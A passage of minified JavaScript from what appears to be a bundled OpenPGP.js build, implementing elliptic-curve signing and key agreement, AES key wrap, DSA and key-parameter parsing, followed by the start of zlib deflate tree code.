t.genKeyPair({entropy:V.uint8ArrayToString(await xi(32))}),{publicKey:new Uint8Array(e.getPublic("array",!1)),privateKey:e.getPrivate().toArrayLike(Uint8Array)}}}async function nn(e,t,r,i){const n={p256:!0,p384:!0,p521:!0,secp256k1:!0,curve25519:e===re.publicKey.ecdh,brainpoolP256r1:!0,brainpoolP384r1:!0,brainpoolP512r1:!0},a=t.getName();if(!n[a])return!1;if("curve25519"===a){i=i.slice().reverse();const{publicKey:e}=Ei.box.keyPair.fromSecretKey(i);r=new Uint8Array(r);const t=new Uint8Array([64,...e]);return!!V.equalsUint8Array(t,r)}const s=await Zi(a);try{r=$i(s,r).getPublic()}catch(e){return!1}return!!Vi(s,i).getPublic().eq(r)}function an(e){const t=J(e.x),r=J(e.y),i=new Uint8Array(t.length+r.length+1);return i[0]=4,i.set(t,1),i.set(r,t.length+1),i}function sn(e,t,r){const i=e,n=r.slice(1,i+1),a=r.slice(i+1,2*i+1);return{kty:"EC",crv:t,x:ee(n,!0),y:ee(a,!0),ext:!0}}function on(e,t,r,i){const n=sn(e,t,r);return n.d=ee(i,!0),n}const cn=V.getWebCrypto(),un=V.getNodeCrypto();async function hn(e,t,r,i,n,a){const s=new rn(e);if(r&&!V.isStream(r)){const e={publicKey:i,privateKey:n};switch(s.type){case"web":try{return await async function(e,t,r,i){const n=e.payloadSize,a=on(e.payloadSize,Qi[e.name],i.publicKey,i.privateKey),s=await cn.importKey("jwk",a,{name:"ECDSA",namedCurve:Qi[e.name],hash:{name:re.read(re.webHash,e.hash)}},!1,["sign"]),o=new Uint8Array(await cn.sign({name:"ECDSA",namedCurve:Qi[e.name],hash:{name:re.read(re.webHash,t)}},s,r));return{r:o.slice(0,n),s:o.slice(n,n<<1)}}(s,t,r,e)}catch(e){if("p521"!==s.name&&("DataError"===e.name||"OperationError"===e.name))throw e;V.printDebugError("Browser did not support signing: "+e.message)}break;case"node":{const i=await async function(e,t,r,i){const n=un.createSign(re.read(re.hash,t));n.write(r),n.end();const a=pn.encode({version:1,parameters:e.oid,privateKey:Array.from(i.privateKey),publicKey:{unused:0,data:Array.from(i.publicKey)}},"pem",{label:"EC PRIVATE KEY"});return ln.decode(n.sign(a),"der")}(s,t,r,e);return{r:i.r.toArrayLike(Uint8Array),s:i.s.toArrayLike(Uint8Array)}}}}return async function(e,t,r){const i=await Zi(e.name),n=Vi(i,r).sign(t);return{r:n.r.toArrayLike(Uint8Array),s:n.s.toArrayLike(Uint8Array)}}(s,a,n)}async function dn(e,t,r,i,n,a){const s=new rn(e);if(i&&!V.isStream(i))switch(s.type){case"web":try{return await async function(e,t,{r,s:i},n,a){const s=sn(e.payloadSize,Qi[e.name],a),o=await cn.importKey("jwk",s,{name:"ECDSA",namedCurve:Qi[e.name],hash:{name:re.read(re.webHash,e.hash)}},!1,["verify"]),c=V.concatUint8Array([r,i]).buffer;return cn.verify({name:"ECDSA",namedCurve:Qi[e.name],hash:{name:re.read(re.webHash,t)}},o,c,n)}(s,t,r,i,n)}catch(e){if("p521"!==s.name&&("DataError"===e.name||"OperationError"===e.name))throw e;V.printDebugError("Browser did not support verifying: "+e.message)}break;case"node":return async function(e,t,{r,s:i},n,a){const{default:s}=await Promise.resolve().then((function(){return Rf})),o=un.createVerify(re.read(re.hash,t));o.write(n),o.end();const c=bn.encode({algorithm:{algorithm:[1,2,840,10045,2,1],parameters:e.oid},subjectPublicKey:{unused:0,data:Array.from(a)}},"pem",{label:"PUBLIC KEY"}),u=ln.encode({r:new s(r),s:new s(i)},"der");try{return o.verify(c,u)}catch(e){return!1}}(s,t,r,i,n)}return async function(e,t,r,i){const n=await Zi(e.name);return $i(n,i).verify(r,t)}(s,r,void 0===t?i:a,n)}const fn=void 0,ln=un?fn.define("ECDSASignature",(function(){this.seq().obj(this.key("r").int(),this.key("s").int())})):void 0,pn=un?fn.define("ECPrivateKey",(function(){this.seq().obj(this.key("version").int(),this.key("privateKey").octstr(),this.key("parameters").explicit(0).optional().any(),this.key("publicKey").explicit(1).optional().bitstr())})):void 0,yn=un?fn.define("AlgorithmIdentifier",(function(){this.seq().obj(this.key("algorithm").objid(),this.key("parameters").optional().any())})):void 0,bn=un?fn.define("SubjectPublicKeyInfo",(function(){this.seq().obj(this.key("algorithm").use(yn),this.key("subjectPublicKey").bitstr())})):void 0;var mn=/*#__PURE__*/Object.freeze({__proto__:null,sign:hn,verify:dn,validateParams:async function(e,t,r){const i=new rn(e);if(i.keyType!==re.publicKey.ecdsa)return!1;switch(i.type){case"web":case"node":{const i=await xi(8),n=re.hash.sha256,a=await Tr.digest(n,i);try{const s=await hn(e,n,i,t,r,a);return await dn(e,n,s,i,t,a)}catch(e){return!1}}default:return nn(re.publicKey.ecdsa,e,t,r)}}});Ei.hash=e=>new Uint8Array(Wt().update(e).digest());var gn=/*#__PURE__*/Object.freeze({__proto__:null,sign:async function(e,t,r,i,n,a){if(Tr.getHashByteLength(t)<Tr.getHashByteLength(re.hash.sha256))throw Error("Hash algorithm too weak: sha256 or stronger is required for EdDSA.");const s=V.concatUint8Array([n,i.subarray(1)]),o=Ei.sign.detached(a,s);return{r:o.subarray(0,32),s:o.subarray(32)}},verify:async function(e,t,{r,s:i},n,a,s){const o=V.concatUint8Array([r,i]);return Ei.sign.detached.verify(s,o,a.subarray(1))},validateParams:async function(e,t,r){if("ed25519"!==e.getName())return!1;const{publicKey:i}=Ei.sign.keyPair.fromSeed(r),n=new Uint8Array([64,...i]);return V.equalsUint8Array(t,n)}});function wn(e,t){const r=new je["aes"+8*e.length](e),i=new Uint32Array([2795939494,2795939494]),n=_n(t);let a=i;const s=n,o=n.length/2,c=new Uint32Array([0,0]);let u=new Uint32Array(4);for(let e=0;e<=5;++e)for(let t=0;t<o;++t)c[1]=o*e+(1+t),u[0]=a[0],u[1]=a[1],u[2]=s[2*t],u[3]=s[2*t+1],u=_n(r.encrypt(kn(u))),a=u.subarray(0,2),a[0]^=c[0],a[1]^=c[1],s[2*t]=u[2],s[2*t+1]=u[3];return kn(a,s)}function vn(e,t){const r=new je["aes"+8*e.length](e),i=new Uint32Array([2795939494,2795939494]),n=_n(t);let a=n.subarray(0,2);const s=n.subarray(2),o=n.length/2-1,c=new Uint32Array([0,0]);let u=new Uint32Array(4);for(let e=5;e>=0;--e)for(let t=o-1;t>=0;--t)c[1]=o*e+(t+1),u[0]=a[0]^c[0],u[1]=a[1]^c[1],u[2]=s[2*t],u[3]=s[2*t+1],u=_n(r.decrypt(kn(u))),a=u.subarray(0,2),s[2*t]=u[2],s[2*t+1]=u[3];if(a[0]===i[0]&&a[1]===i[1])return kn(s);throw Error("Key Data Integrity failed")}function _n(e){const{length:t}=e,r=function(e){if(V.isString(e)){const{length:t}=e,r=new ArrayBuffer(t),i=new Uint8Array(r);for(let r=0;r<t;++r)i[r]=e.charCodeAt(r);return r}return new Uint8Array(e).buffer}(e),i=new DataView(r),n=new Uint32Array(t/4);for(let e=0;e<t/4;++e)n[e]=i.getUint32(4*e);return n}function kn(){let e=0;for(let t=0;t<arguments.length;++t)e+=4*arguments[t].length;const t=new ArrayBuffer(e),r=new DataView(t);let i=0;for(let e=0;e<arguments.length;++e){for(let t=0;t<arguments[e].length;++t)r.setUint32(i+4*t,arguments[e][t]);i+=4*arguments[e].length}return new Uint8Array(t)}var An=/*#__PURE__*/Object.freeze({__proto__:null,wrap:wn,unwrap:vn});function Sn(e){const t=8-e.length%8,r=new Uint8Array(e.length+t).fill(t);return r.set(e),r}function En(e){const t=e.length;if(t>0){const r=e[t-1];if(r>=1){const i=e.subarray(t-r),n=new Uint8Array(r).fill(r);if(V.equalsUint8Array(i,n))return e.subarray(0,t-r)}}throw Error("Invalid padding")}var Pn=/*#__PURE__*/Object.freeze({__proto__:null,encode:Sn,decode:En});const xn=V.getWebCrypto(),Mn=V.getNodeCrypto();function Cn(e,t,r,i){return V.concatUint8Array([t.write(),new Uint8Array([e]),r.write(),V.stringToUint8Array("Anonymous Sender    "),i.subarray(0,20)])}async function Kn(e,t,r,i,n=!1,a=!1){let s;if(n){for(s=0;s<t.length&&0===t[s];s++);t=t.subarray(s)}if(a){for(s=t.length-1;s>=0&&0===t[s];s--);t=t.subarray(0,s+1)}return(await Tr.digest(e,V.concatUint8Array([new Uint8Array([0,0,0,1]),t,i]))).subarray(0,r)}async function Dn(e,t){switch(e.type){case"curve25519":{const r=await xi(32),{secretKey:i,sharedKey:n}=await Rn(e,t,null,r);let{publicKey:a}=Ei.box.keyPair.fromSecretKey(i);return a=V.concatUint8Array([new Uint8Array([64]),a]),{publicKey:a,sharedKey:n}}case"web":if(e.web&&V.getWebCrypto())try{return await async function(e,t){const r=sn(e.payloadSize,e.web.web,t);let i=xn.generateKey({name:"ECDH",namedCurve:e.web.web},!0,["deriveKey","deriveBits"]),n=xn.importKey("jwk",r,{name:"ECDH",namedCurve:e.web.web},!1,[]);[i,n]=await Promise.all([i,n]);let a=xn.deriveBits({name:"ECDH",namedCurve:e.web.web,public:n},i.privateKey,e.web.sharedSize),s=xn.exportKey("jwk",i.publicKey);[a,s]=await Promise.all([a,s]);const o=new Uint8Array(a);return{publicKey:new Uint8Array(an(s)),sharedKey:o}}(e,t)}catch(e){V.printDebugError(e)}break;case"node":return async function(e,t){const r=Mn.createECDH(e.node.node);r.generateKeys();const i=new Uint8Array(r.computeSecret(t));return{publicKey:new Uint8Array(r.getPublicKey()),sharedKey:i}}(e,t)}return async function(e,t){const r=await Zi(e.name),i=await e.genKeyPair();t=$i(r,t);const n=Vi(r,i.privateKey),a=i.publicKey,s=n.derive(t.getPublic()),o=r.curve.p.byteLength(),c=s.toArrayLike(Uint8Array,"be",o);return{publicKey:a,sharedKey:c}}(e,t)}async function Rn(e,t,r,i){if(i.length!==e.payloadSize){const t=new Uint8Array(e.payloadSize);t.set(i,e.payloadSize-i.length),i=t}switch(e.type){case"curve25519":{const e=i.slice().reverse();return{secretKey:e,sharedKey:Ei.scalarMult(e,t.subarray(1))}}case"web":if(e.web&&V.getWebCrypto())try{return await async function(e,t,r,i){const n=on(e.payloadSize,e.web.web,r,i);let a=xn.importKey("jwk",n,{name:"ECDH",namedCurve:e.web.web},!0,["deriveKey","deriveBits"]);const s=sn(e.payloadSize,e.web.web,t);let o=xn.importKey("jwk",s,{name:"ECDH",namedCurve:e.web.web},!0,[]);[a,o]=await Promise.all([a,o]);let c=xn.deriveBits({name:"ECDH",namedCurve:e.web.web,public:o},a,e.web.sharedSize),u=xn.exportKey("jwk",a);[c,u]=await Promise.all([c,u]);const h=new Uint8Array(c);return{secretKey:J(u.d),sharedKey:h}}(e,t,r,i)}catch(e){V.printDebugError(e)}break;case"node":return async function(e,t,r){const i=Mn.createECDH(e.node.node);i.setPrivateKey(r);const n=new Uint8Array(i.computeSecret(t));return{secretKey:new Uint8Array(i.getPrivateKey()),sharedKey:n}}(e,t,i)}return async function(e,t,r){const i=await Zi(e.name);t=$i(i,t),r=Vi(i,r);const n=new Uint8Array(r.getPrivate()),a=r.derive(t.getPublic()),s=i.curve.p.byteLength(),o=a.toArrayLike(Uint8Array,"be",s);return{secretKey:n,sharedKey:o}}(e,t,i)}var In=/*#__PURE__*/Object.freeze({__proto__:null,validateParams:async function(e,t,r){return nn(re.publicKey.ecdh,e,t,r)},encrypt:async function(e,t,r,i,n){const a=Sn(r),s=new rn(e),{publicKey:o,sharedKey:c}=await Dn(s,i),u=Cn(re.publicKey.ecdh,e,t,n),h=re.read(re.symmetric,t.cipher);return{publicKey:o,wrappedKey:wn(await Kn(t.hash,c,je[h].keySize,u),a)}},decrypt:async function(e,t,r,i,n,a,s){const o=new rn(e),{sharedKey:c}=await Rn(o,r,n,a),u=Cn(re.publicKey.ecdh,e,t,s),h=re.read(re.symmetric,t.cipher);let d;for(let e=0;e<3;e++)try{return En(vn(await Kn(t.hash,c,je[h].keySize,u,1===e,2===e),i))}catch(e){d=e}throw d}});var Un={rsa:Wi,elgamal:Hi,elliptic:/*#__PURE__*/Object.freeze({__proto__:null,Curve:rn,ecdh:In,ecdsa:mn,eddsa:gn,generate:async function(e){const t=await V.getBigInteger();e=new rn(e);const r=await e.genKeyPair(),i=new t(r.publicKey).toUint8Array(),n=new t(r.privateKey).toUint8Array("be",e.payloadSize);return{oid:e.oid,Q:i,secret:n,hash:e.hash,cipher:e.cipher}},getPreferredHashAlgo:function(e){return tn[re.write(re.curve,e.toHex())].hash}}),dsa:/*#__PURE__*/Object.freeze({__proto__:null,sign:async function(e,t,r,i,n,a){const s=await V.getBigInteger(),o=new s(1);let c,u,h,d;i=new s(i),n=new s(n),r=new s(r),a=new s(a),r=r.mod(i),a=a.mod(n);const f=new s(t.subarray(0,n.byteLength())).mod(n);for(;;){if(c=await Mi(o,n),u=r.modExp(c,i).imod(n),u.isZero())continue;const e=a.mul(u).imod(n);if(d=f.add(e).imod(n),h=c.modInv(n).imul(d).imod(n),!h.isZero())break}return{r:u.toUint8Array("be",n.byteLength()),s:h.toUint8Array("be",n.byteLength())}},verify:async function(e,t,r,i,n,a,s,o){const c=await V.getBigInteger(),u=new c(0);if(t=new c(t),r=new c(r),a=new c(a),s=new c(s),n=new c(n),o=new c(o),t.lte(u)||t.gte(s)||r.lte(u)||r.gte(s))return V.printDebug("invalid DSA Signature"),!1;const h=new c(i.subarray(0,s.byteLength())).imod(s),d=r.modInv(s);if(d.isZero())return V.printDebug("invalid DSA Signature"),!1;n=n.mod(a),o=o.mod(a);const f=h.mul(d).imod(s),l=t.mul(d).imod(s),p=n.modExp(f,a),y=o.modExp(l,a);return p.mul(y).imod(a).imod(s).equal(t)},validateParams:async function(e,t,r,i,n){const a=await V.getBigInteger();e=new a(e),t=new a(t),r=new a(r),i=new a(i);const s=new a(1);if(r.lte(s)||r.gte(e))return!1;if(!e.dec().mod(t).isZero())return!1;if(!r.modExp(t,e).isOne())return!1;const o=new a(t.bitLength()),c=new a(150);if(o.lt(c)||!await Ri(t,null,32))return!1;n=new a(n);const u=new a(2),h=await Mi(u.leftShift(o.dec()),u.leftShift(o)),d=t.mul(h).add(n);return!!i.equal(r.modExp(d,e))}}),nacl:Ei};var Bn=/*#__PURE__*/Object.freeze({__proto__:null,parseSignatureParams:function(e,t){let r=0;switch(e){case re.publicKey.rsaEncryptSign:case re.publicKey.rsaEncrypt:case re.publicKey.rsaSign:return{s:V.readMPI(t.subarray(r))};case re.publicKey.dsa:case re.publicKey.ecdsa:{const e=V.readMPI(t.subarray(r));r+=e.length+2;return{r:e,s:V.readMPI(t.subarray(r))}}case re.publicKey.eddsa:{let e=V.readMPI(t.subarray(r));r+=e.length+2,e=V.leftPad(e,32);let i=V.readMPI(t.subarray(r));return i=V.leftPad(i,32),{r:e,s:i}}default:throw Error("Invalid signature algorithm.")}},verify:async function(e,t,r,i,n,a){switch(e){case re.publicKey.rsaEncryptSign:case re.publicKey.rsaEncrypt:case re.publicKey.rsaSign:{const{n:e,e:s}=i,o=V.leftPad(r.s,e.length);return Un.rsa.verify(t,n,o,e,s,a)}case re.publicKey.dsa:{const{g:e,p:n,q:s,y:o}=i,{r:c,s:u}=r;return Un.dsa.verify(t,c,u,a,e,n,s,o)}case re.publicKey.ecdsa:{const{oid:e,Q:s}=i,o=new Un.elliptic.Curve(e).payloadSize,c=V.leftPad(r.r,o),u=V.leftPad(r.s,o);return Un.elliptic.ecdsa.verify(e,t,{r:c,s:u},n,s,a)}case re.publicKey.eddsa:{const{oid:e,Q:s}=i;return Un.elliptic.eddsa.verify(e,t,r,n,s,a)}default:throw Error("Invalid signature algorithm.")}},sign:async function(e,t,r,i,n,a){if(!r||!i)throw Error("Missing key parameters");switch(e){case re.publicKey.rsaEncryptSign:case re.publicKey.rsaEncrypt:case re.publicKey.rsaSign:{const{n:e,e:s}=r,{d:o,p:c,q:u,u:h}=i;return{s:await Un.rsa.sign(t,n,e,s,o,c,u,h,a)}}case re.publicKey.dsa:{const{g:e,p:n,q:s}=r,{x:o}=i;return Un.dsa.sign(t,a,e,n,s,o)}case re.publicKey.elgamal:throw Error("Signing with Elgamal is not defined in the OpenPGP standard.");case re.publicKey.ecdsa:{const{oid:e,Q:s}=r,{d:o}=i;return Un.elliptic.ecdsa.sign(e,t,n,s,o,a)}case re.publicKey.eddsa:{const{oid:e,Q:s}=r,{seed:o}=i;return Un.elliptic.eddsa.sign(e,t,n,s,o,a)}default:throw Error("Invalid signature algorithm.")}}});class Tn{constructor(e){e=void 0===e?new Uint8Array([]):V.isString(e)?V.stringToUint8Array(e):new Uint8Array(e),this.data=e}read(e){if(e.length>=1){const t=e[0];if(e.length>=1+t)return this.data=e.subarray(1,1+t),1+this.data.length}throw Error("Invalid symmetric key")}write(){return V.concatUint8Array([new Uint8Array([this.data.length]),this.data])}}class zn{constructor(e){if(e){const{hash:t,cipher:r}=e;this.hash=t,this.cipher=r}else this.hash=null,this.cipher=null}read(e){if(e.length<4||3!==e[0]||1!==e[1])throw Error("Cannot read KDFParams");return this.hash=e[2],this.cipher=e[3],4}write(){return new Uint8Array([3,1,this.hash,this.cipher])}}var qn=/*#__PURE__*/Object.freeze({__proto__:null,publicKeyEncrypt:async function(e,t,r,i){switch(e){case re.publicKey.rsaEncrypt:case re.publicKey.rsaEncryptSign:{const{n:e,e:i}=t;return{c:await Un.rsa.encrypt(r,e,i)}}case re.publicKey.elgamal:{const{p:e,g:i,y:n}=t;return Un.elgamal.encrypt(r,e,i,n)}case re.publicKey.ecdh:{const{oid:e,Q:n,kdfParams:a}=t,{publicKey:s,wrappedKey:o}=await Un.elliptic.ecdh.encrypt(e,a,r,n,i);return{V:s,C:new Tn(o)}}default:return[]}},publicKeyDecrypt:async function(e,t,r,i,n){switch(e){case re.publicKey.rsaEncryptSign:case re.publicKey.rsaEncrypt:{const{c:e}=i,{n,e:a}=t,{d:s,p:o,q:c,u}=r;return Un.rsa.decrypt(e,n,a,s,o,c,u)}case re.publicKey.elgamal:{const{c1:e,c2:n}=i,a=t.p,s=r.x;return Un.elgamal.decrypt(e,n,a,s)}case re.publicKey.ecdh:{const{oid:e,Q:a,kdfParams:s}=t,{d:o}=r,{V:c,C:u}=i;return Un.elliptic.ecdh.decrypt(e,s,c,u.data,a,o,n)}default:throw Error("Invalid public key encryption algorithm.")}},parsePublicKeyParams:function(e,t){let r=0;switch(e){case re.publicKey.rsaEncrypt:case re.publicKey.rsaEncryptSign:case re.publicKey.rsaSign:{const e=V.readMPI(t.subarray(r));r+=e.length+2;const i=V.readMPI(t.subarray(r));return r+=i.length+2,{read:r,publicParams:{n:e,e:i}}}case re.publicKey.dsa:{const e=V.readMPI(t.subarray(r));r+=e.length+2;const i=V.readMPI(t.subarray(r));r+=i.length+2;const n=V.readMPI(t.subarray(r));r+=n.length+2;const a=V.readMPI(t.subarray(r));return r+=a.length+2,{read:r,publicParams:{p:e,q:i,g:n,y:a}}}case re.publicKey.elgamal:{const e=V.readMPI(t.subarray(r));r+=e.length+2;const i=V.readMPI(t.subarray(r));r+=i.length+2;const n=V.readMPI(t.subarray(r));return r+=n.length+2,{read:r,publicParams:{p:e,g:i,y:n}}}case re.publicKey.ecdsa:{const e=new Gi;r+=e.read(t);const i=V.readMPI(t.subarray(r));return r+=i.length+2,{read:r,publicParams:{oid:e,Q:i}}}case re.publicKey.eddsa:{const e=new Gi;r+=e.read(t);let i=V.readMPI(t.subarray(r));return r+=i.length+2,i=V.leftPad(i,33),{read:r,publicParams:{oid:e,Q:i}}}case re.publicKey.ecdh:{const e=new Gi;r+=e.read(t);const i=V.readMPI(t.subarray(r));r+=i.length+2;const n=new zn;return r+=n.read(t.subarray(r)),{read:r,publicParams:{oid:e,Q:i,kdfParams:n}}}default:throw Error("Invalid public key encryption algorithm.")}},parsePrivateKeyParams:function(e,t,r){let i=0;switch(e){case re.publicKey.rsaEncrypt:case re.publicKey.rsaEncryptSign:case re.publicKey.rsaSign:{const e=V.readMPI(t.subarray(i));i+=e.length+2;const r=V.readMPI(t.subarray(i));i+=r.length+2;const n=V.readMPI(t.subarray(i));i+=n.length+2;const a=V.readMPI(t.subarray(i));return i+=a.length+2,{read:i,privateParams:{d:e,p:r,q:n,u:a}}}case re.publicKey.dsa:case re.publicKey.elgamal:{const e=V.readMPI(t.subarray(i));return i+=e.length+2,{read:i,privateParams:{x:e}}}case re.publicKey.ecdsa:case re.publicKey.ecdh:{const e=new rn(r.oid);let n=V.readMPI(t.subarray(i));return i+=n.length+2,n=V.leftPad(n,e.payloadSize),{read:i,privateParams:{d:n}}}case re.publicKey.eddsa:{let e=V.readMPI(t.subarray(i));return i+=e.length+2,e=V.leftPad(e,32),{read:i,privateParams:{seed:e}}}default:throw Error("Invalid public key encryption algorithm.")}},parseEncSessionKeyParams:function(e,t){let r=0;switch(e){case re.publicKey.rsaEncrypt:case re.publicKey.rsaEncryptSign:return{c:V.readMPI(t.subarray(r))};case re.publicKey.elgamal:{const e=V.readMPI(t.subarray(r));r+=e.length+2;return{c1:e,c2:V.readMPI(t.subarray(r))}}case re.publicKey.ecdh:{const e=V.readMPI(t.subarray(r));r+=e.length+2;const i=new Tn;return i.read(t.subarray(r)),{V:e,C:i}}default:throw Error("Invalid public key encryption algorithm.")}},serializeParams:function(e,t){const r=Object.keys(t).map((e=>{const r=t[e];return V.isUint8Array(r)?V.uint8ArrayToMPI(r):r.write()}));return V.concatUint8Array(r)},generateParams:function(e,t,r){switch(e){case re.publicKey.rsaEncrypt:case re.publicKey.rsaEncryptSign:case re.publicKey.rsaSign:return Un.rsa.generate(t,65537).then((({n:e,e:t,d:r,p:i,q:n,u:a})=>({privateParams:{d:r,p:i,q:n,u:a},publicParams:{n:e,e:t}})));case re.publicKey.ecdsa:return Un.elliptic.generate(r).then((({oid:e,Q:t,secret:r})=>({privateParams:{d:r},publicParams:{oid:new Gi(e),Q:t}})));case re.publicKey.eddsa:return Un.elliptic.generate(r).then((({oid:e,Q:t,secret:r})=>({privateParams:{seed:r},publicParams:{oid:new Gi(e),Q:t}})));case re.publicKey.ecdh:return Un.elliptic.generate(r).then((({oid:e,Q:t,secret:r,hash:i,cipher:n})=>({privateParams:{d:r},publicParams:{oid:new Gi(e),Q:t,kdfParams:new zn({hash:i,cipher:n})}})));case re.publicKey.dsa:case re.publicKey.elgamal:throw Error("Unsupported algorithm for key generation.");default:throw Error("Invalid public key algorithm.")}},validateParams:async function(e,t,r){if(!t||!r)throw Error("Missing key parameters");switch(e){case re.publicKey.rsaEncrypt:case re.publicKey.rsaEncryptSign:case re.publicKey.rsaSign:{const{n:e,e:i}=t,{d:n,p:a,q:s,u:o}=r;return Un.rsa.validateParams(e,i,n,a,s,o)}case re.publicKey.dsa:{const{p:e,q:i,g:n,y:a}=t,{x:s}=r;return Un.dsa.validateParams(e,i,n,a,s)}case re.publicKey.elgamal:{const{p:e,g:i,y:n}=t,{x:a}=r;return Un.elgamal.validateParams(e,i,n,a)}case re.publicKey.ecdsa:case re.publicKey.ecdh:{const i=Un.elliptic[re.read(re.publicKey,e)],{oid:n,Q:a}=t,{d:s}=r;return i.validateParams(n,a,s)}case re.publicKey.eddsa:{const{oid:e,Q:i}=t,{seed:n}=r;return Un.elliptic.eddsa.validateParams(e,i,n)}default:throw Error("Invalid public key algorithm.")}},getPrefixRandom:async function(e){const t=await xi(je[e].blockSize),r=new Uint8Array([t[t.length-2],t[t.length-1]]);return V.concat([t,r])},generateSessionKey:function(e){return xi(je[e].keySize)}});const On={cipher:je,hash:Tr,mode:Si,publicKey:Un,signature:Bn,random:Ki,pkcs1:qi,pkcs5:Pn,aesKW:An};Object.assign(On,qn);var Fn="undefined"!=typeof Uint8Array&&"undefined"!=typeof Uint16Array&&"undefined"!=typeof Int32Array;function Nn(e,t){return e.length===t?e:e.subarray?e.subarray(0,t):(e.length=t,e)}const Ln={arraySet:function(e,t,r,i,n){if(t.subarray&&e.subarray)e.set(t.subarray(r,r+i),n);else for(let a=0;a<i;a++)e[n+a]=t[r+a]},flattenChunks:function(e){let t,r,i,n,a;for(i=0,t=0,r=e.length;t<r;t++)i+=e[t].length;const s=new Uint8Array(i);for(n=0,t=0,r=e.length;t<r;t++)a=e[t],s.set(a,n),n+=a.length;return s}},jn={arraySet:function(e,t,r,i,n){for(let a=0;a<i;a++)e[n+a]=t[r+a]},flattenChunks:function(e){return[].concat.apply([],e)}};let Wn=Fn?Uint8Array:Array,Hn=Fn?Uint16Array:Array,Gn=Fn?Int32Array:Array,Vn=Fn?Ln.flattenChunks:jn.flattenChunks,$n=Fn?Ln.arraySet:jn.arraySet;const Zn=-2;function Yn(e){let t=e.length;for(;--t>=0;)e[t]=0}const Xn=256,Qn=286,Jn=30,ea=15,ta=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0],ra=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],ia=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7],na=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],aa=Array(576);Yn(aa);const sa=Array(60);Yn(sa);const oa=Array(512);Yn(oa);const ca=Array(256);Yn(ca);const ua=Array(29);Yn(ua);const ha=Array(Jn);function da(e,t,r,i,n){this.static_tree=e,this.extra_bits=t,this.extra_base=r,this.elems=i,this.max_length=n,this.has_stree=e&&e.length}let fa,la,pa;function ya(e,t){this.dyn_tree=e,this.max_code=0,this.stat_desc=t}function ba(e){return e<256?oa[e]:oa[256+(e>>>7)]}function ma(e,t){e.pending_buf[e.pending++]=255&t,e.pending_buf[e.pending++]=t>>>8&255}function ga(e,t,r){e.bi_valid>16-r?(e.bi_buf|=t<<e.bi_valid&65535,ma(e,e.bi_buf),e.bi_buf=t>>16-e.bi_valid,e.bi_valid+=r-16):(e.bi_buf|=t<<e.bi_valid&65535,e.bi_valid+=r)}function wa(e,t,r){ga(e,r[2*t],r[2*t+1])}function va(e,t){let r=0;do{r|=1&e,e>>>=1,r<<=1}while(--t>0);return r>>>1}function _a(e,t,r){const i=Array(16);let n,a,s=0;for(n=1;n<=ea;n++)i[n]=s=s+r[n-1]<<1;for(a=0;a<=t;a++){const t=e[2*a+1];0!==t&&(e[2*a]=va(i[t]++,t))}}function ka(e){let t;for(t=0;t<Qn;t++)e.dyn_ltree[2*t]=0;for(t=0;t<Jn;t++)e.dyn_dtree[2*t]=0;for(t=0;t<19;t++)e.bl_tree[2*t]=0;e.dyn_ltree[512]=1,e.opt_len=e.static_len=0,e.last_lit=e.matches=0}function Aa(e){e.bi_valid>8?ma(e,e.bi_buf):e.bi_valid>0&&(e.pending_buf[e.pending++]=e.bi_buf),e.bi_buf=0,e.bi_valid=0}function Sa(e,t,r,i){const n=2*t,a=2*r;return e[n]<e[a]||e[n]===e[a]&&i[t]<=i[r]}function Ea(e,t,r){const i=e.heap[r];let n=r<<1;for(;n<=e.heap_len&&(n<e.heap_len&&Sa(t,e.heap[n+1],e.heap[n],e.depth)&&n++,!Sa(t,i,e.heap[n],e.depth));)e.heap[r]=e.heap[n],r=n,n<<=1;e.heap[r]=i}function Pa(e,t,r){let i,n,a,s,o=0;if(0!==e.last_lit)do{i=e.pending_buf[e.d_buf+2*o]<<8|e.pending_buf[e.d_buf+2*o+1],n=e.pending_buf[e.l_buf+o],o++,0===i?wa(e,n,t):(a=ca[n],wa(e,a+Xn+1,t),s=ta[a],0!==s&&(n-=ua[a],ga(e,n,s)),i--,a=ba(i),wa(e,a,r),s=ra[a],0!==s&&(i-=ha[a],ga(e,i,s)))}while(o<e.last_lit);wa(e,256,t)}function xa(e,t){const r=t.dyn_tree,i=t.stat_desc.static_tree,n=t.stat_desc.has_stree,a=t.stat_desc.elems;let s,o,c,u=-1;for(e.heap_len=0,e.heap_max=573,s=0;s<a;s++)0!==r[2*s]?(e.heap[++e.heap_len]=u=s,e.depth[s]=0):r[2*s+1]=0;for(;e.heap_len<2;)c=e.heap[++e.heap_len]=u<2?++u:0,r[2*c]=1,e.depth[c]=0,e.opt_len--,n&&(e.static_len-=i[2*c+1]);for(t.max_code=u,s=e.heap_len>>1;s>=1;s--)Ea(e,r,s);c=a;do{s=e.heap[1],e.heap[1]=e.heap[e.heap_len--],Ea(e,r,1),o=e.heap[1],e.heap[--e.heap_max]=s,e.heap[--e.heap_max]=o,r[2*c]=r[2*s]+r[2*o],e.depth[c]=(e.depth[s]>=e.depth[o]?e.depth[s]:e.depth[o])+1,r[2*s+1]=r[2*o+1]=c,e.heap[1]=c++,Ea(e,r,1)}while(e.heap_len>=2);e.heap[--e.heap_max]=e.heap[1],function(e,t){const r=t.dyn_tree,i=t.max_code,n=t.stat_desc.static_tree,a=t.stat_desc.has_stree,s=t.stat_desc.extra_bits,o=t.stat_desc.extra_base,c=t.stat_desc.max_length;let u,h,d,f,l,p,y=0;for(f=0;f<=ea;f++)e.bl_count[f]=0;for(r[2*e.heap[e.heap_max]+1]=0,u=e.heap_max+1;u<573;u++)h=e.heap[u],f=r[2*r[2*h+1]+1]+1,f>c&&(f=c,y++),r[2*h+1]=f,h>i||(e.bl_count[f]++,l=0,h>=o&&(l=s[h-o]),p=r[2*h],e.opt_len+=p*(f+l),a&&(e.static_len+=p*(n[2*h+1]+l)));if(0!==y){do{for(f=c-1;0===e.bl_count[f];)f--;e.bl_count[f]--,e.bl_count[f+1]+=2,e.bl_count[c]--,y-=2}while(y>0);for(f=c;0!==f;f--)for(h=e.bl_count[f];0!==h;)d=e.heap[--u],d>i||(r[2*d+1]!==f&&(e.opt_len+=(f-r[2*d+1])*r[2*d],r[2*d+1]=f),h--)}}(e,t),_a(r,u,e.bl_count)}function Ma(e,t,r){let 